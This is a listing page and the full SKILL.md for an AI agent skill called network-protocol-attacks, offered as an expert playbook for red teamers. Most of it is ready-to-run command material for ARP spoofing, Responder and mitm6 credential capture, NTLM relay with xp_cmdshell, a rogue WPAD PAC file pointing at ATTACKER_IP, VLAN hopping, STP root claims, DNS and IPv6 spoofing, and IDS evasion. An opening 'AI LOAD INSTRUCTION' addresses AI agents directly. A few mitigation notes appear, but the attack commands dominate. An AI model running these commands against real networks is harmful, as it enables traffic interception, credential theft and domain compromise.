PluginBench
Skill
Fail
Audit score 45

network-protocol-attacks

yaklang/hack-skills

Layer 2/3 network protocol attack playbook: ARP spoofing, name resolution poisoning, VLAN hopping, STP manipulation, and IDS evasion.

What is network-protocol-attacks?

Expert-level network protocol attack techniques covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Use when exploiting switched networks, performing man-in-the-middle attacks, or chaining credential capture with lateral movement.

  • ARP spoofing and gratuitous ARP poisoning for MitM positioning using arpspoof, ettercap, and bettercap
  • LLMNR/NBT-NS/mDNS poisoning with Responder for credential capture and NTLM relay workflows
  • WPAD abuse to force proxy authentication and credential interception via rogue PAC files
  • DHCPv6 attacks with mitm6 for DNS takeover and NTLM relay on IPv4-only networks
  • VLAN hopping via DTP switch spoofing and double-tagging (802.1Q) for VLAN escape
  • STP manipulation to claim root bridge or trigger topology changes for traffic interception

How to install network-protocol-attacks

npx skills add https://github.com/yaklang/hack-skills --skill network-protocol-attacks
Prerequisites
  • Root or administrator privileges on attack machine
  • Direct network access (Layer 2) to target network segment
  • Tools: arpspoof/dsniff, ettercap, bettercap, Responder, ntlmrelayx, mitm6, yersinia, THC-IPv6, fragroute
  • Understanding of network protocols (ARP, DHCP, DNS, VLAN, STP, IPv6)
Claude Code
Cursor
Windsurf
Cline

How to use network-protocol-attacks

  1. 1.Load related skills: tunneling-and-pivoting for traffic redirection, ntlm-relay-coercion for hash relaying, unauthorized-access-common-services for post-MitM exploitation
  2. 2.Enable IP forwarding on attack machine: echo 1 > /proc/sys/net/ipv4/ip_forward
  3. 3.Choose attack vector based on network topology: ARP spoofing for direct access, DHCPv6/mitm6 for DNS takeover, VLAN hopping for segmentation bypass
  4. 4.Execute poisoning/spoofing tool (Responder, bettercap, mitm6) and monitor captured credentials or traffic
  5. 5.Relay captured NTLM hashes to target services (LDAP, SMB, MSSQL) using ntlmrelayx or crack offline with hashcat
  6. 6.Apply IDS evasion techniques (fragmentation, timing, decoys) if network monitoring is detected

Use cases

Good for
  • Establish man-in-the-middle position on switched networks using ARP spoofing before credential capture
  • Capture NTLM hashes via LLMNR/NBT-NS poisoning and relay them to LDAP/SMB for unauthorized access
  • Escape VLAN isolation via DTP negotiation or double-tagging to reach restricted network segments
  • Perform DHCPv6 takeover combined with DNS spoofing to redirect traffic on dual-stack networks
  • Evade network-based intrusion detection during reconnaissance and exploitation activities
Who it's for
  • Red teamers and penetration testers performing network-level attacks
  • Security researchers analyzing switched network vulnerabilities
  • Incident responders investigating network-based compromise indicators

network-protocol-attacks FAQ

When should I use NTLM relay vs. offline cracking?

Use relay when SMB signing is disabled on targets or LDAP signing is not enforced on DCs—relay is immediate and avoids cracking time. Use offline cracking when relay targets are unavailable or signing is enforced; NTLMv2 is slower but dictionary attacks with rules are viable.

What's the difference between DHCPv6 (mitm6) and ARP spoofing?

ARP spoofing works on IPv4-only networks but requires Layer 2 access and can be detected by ARP monitoring. DHCPv6 (mitm6) exploits Windows' default DHCPv6 solicitation even on IPv4 networks, setting the attacker as IPv6 DNS—harder to detect but requires IPv6 support.

How do I avoid detection when poisoning?

Use bettercap with selective targeting (specific IPs, full-duplex mode), avoid ARP storms, use gratuitous ARP sparingly, and combine with IDS evasion (fragmentation, timing). Monitor for duplicate MACs and static ARP entries on the target network.

Can double-tagging work for two-way communication?

No—double-tagged frames only work one-way because the switch removes the outer tag and the victim's response goes to the real gateway, not the attacker. Use for blind attacks (e.g., targeting a server that doesn't need to respond) or combine with ARP spoofing for full MitM.

What conditions must be met for NTLM relay attacks to succeed?

SMB signing must be disabled on SMB targets, LDAP signing must not be enforced on DCs, and the Domain Computers quota must be > 0 (default 10) for machine account creation. Check with `Get-ADDomain | Select-Object ms-DS-MachineAccountQuota` on Windows.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: network-protocol-attacks description: >- Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.

SKILL: Network Protocol Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

0. RELATED ROUTING

Before going deep, consider loading:

  • tunneling-and-pivoting after establishing MitM position for traffic redirection
  • ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
  • unauthorized-access-common-services for exploiting services discovered during network attacks
  • traffic-analysis-pcap for analyzing captured traffic from MitM

Advanced Reference

Also load NAME_RESOLUTION_POISONING.md when you need:

  • Detailed Responder/mitm6 configuration and workflows
  • NTLM relay target selection and chaining
  • Credential format analysis and cracking priorities

1. ARP SPOOFING

Gratuitous ARP — MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators

  • Duplicate MAC addresses in ARP table
  • Gratuitous ARP storms from non-gateway IPs
  • Tools: arpwatch, static ARP entries, 802.1X port authentication

2. LLMNR / NBT-NS / mDNS POISONING

Responder — Credential Capture

# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

Captured Hash Formats

ProtocolHash TypeHashcat ModeCrackability
NTLMv1NetNTLMv15500Fast — rainbow tables viable
NTLMv2NetNTLMv25600Moderate — dictionary + rules
NTLMv1-ESSNetNTLMv15500Fast — same as NTLMv1
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

Relay Instead of Crack

# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

3. WPAD ABUSE

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

Manual WPAD PAC File

// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

4. DHCPv6 ATTACK — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions

  • SMB signing disabled on targets (for SMB relay)
  • LDAP signing not enforced on DC (for LDAP relay)
  • Domain Computers quota > 0 (for machine account creation, default: 10)

5. VLAN HOPPING

Switch Spoofing (DTP)

# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

Double Tagging (802.1Q)

# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)

Mitigation

  • Disable DTP: switchport nonegotiate
  • Set native VLAN to unused: switchport trunk native vlan 999
  • Prune VLANs: only allow needed VLANs on trunk ports

6. STP MANIPULATION

Root Bridge Claim

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

Topology Change Attack

# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic

Mitigation

  • BPDU Guard on access ports
  • Root Guard on designated ports
  • spanning-tree portfast bpduguard enable

7. DNS SPOOFING

DNS Cache Poisoning

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

Kaminsky Attack Variant

Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.


8. IPv6 ATTACKS

Router Advertisement Spoofing

# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

SLAAC Abuse

# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

9. IDS/IPS EVASION

TechniqueMethodTool/Flag
IP FragmentationSplit payload across fragmentsnmap -f, fragroute
TTL ManipulationSet TTL to expire at IDS but reach targetfragroute
Encoding EvasionURL/Unicode/hex encodingManual, custom scripts
Session SplicingSplit TCP payload across segmentsfragroute, nmap --data-length
Timing-BasedSlow scan to avoid rate-based detectionnmap -T0, nmap -T1
Decoy ScanningMix real scan with decoy source IPsnmap -D RND:10
Idle/Zombie ScanUse idle host as scan proxynmap -sI ZOMBIE_IP
# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

10. DECISION TREE

Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│   ├── YES → ARP spoof for MitM (§1)
│   │   └── Capture plaintext creds or redirect traffic
│   └── NO → need VLAN hopping first (§5)
│       ├── DTP enabled? → switch spoofing
│       └── Know native VLAN? → double tagging
│
├── Windows environment?
│   ├── LLMNR/NBT-NS enabled? (default YES)
│   │   └── Run Responder (§2) → capture NetNTLM hashes
│   │       ├── NTLMv1? → crack fast or relay
│   │       └── NTLMv2? → relay (§2) or crack with rules
│   │
│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│   │
│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│       └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│   ├── MitM already established? → DNS spoofing (§7)
│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│   ├── BPDU Guard off? → STP root bridge claim (§6)
│   └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
    └── Apply evasion techniques (§9) — fragmentation, timing, encoding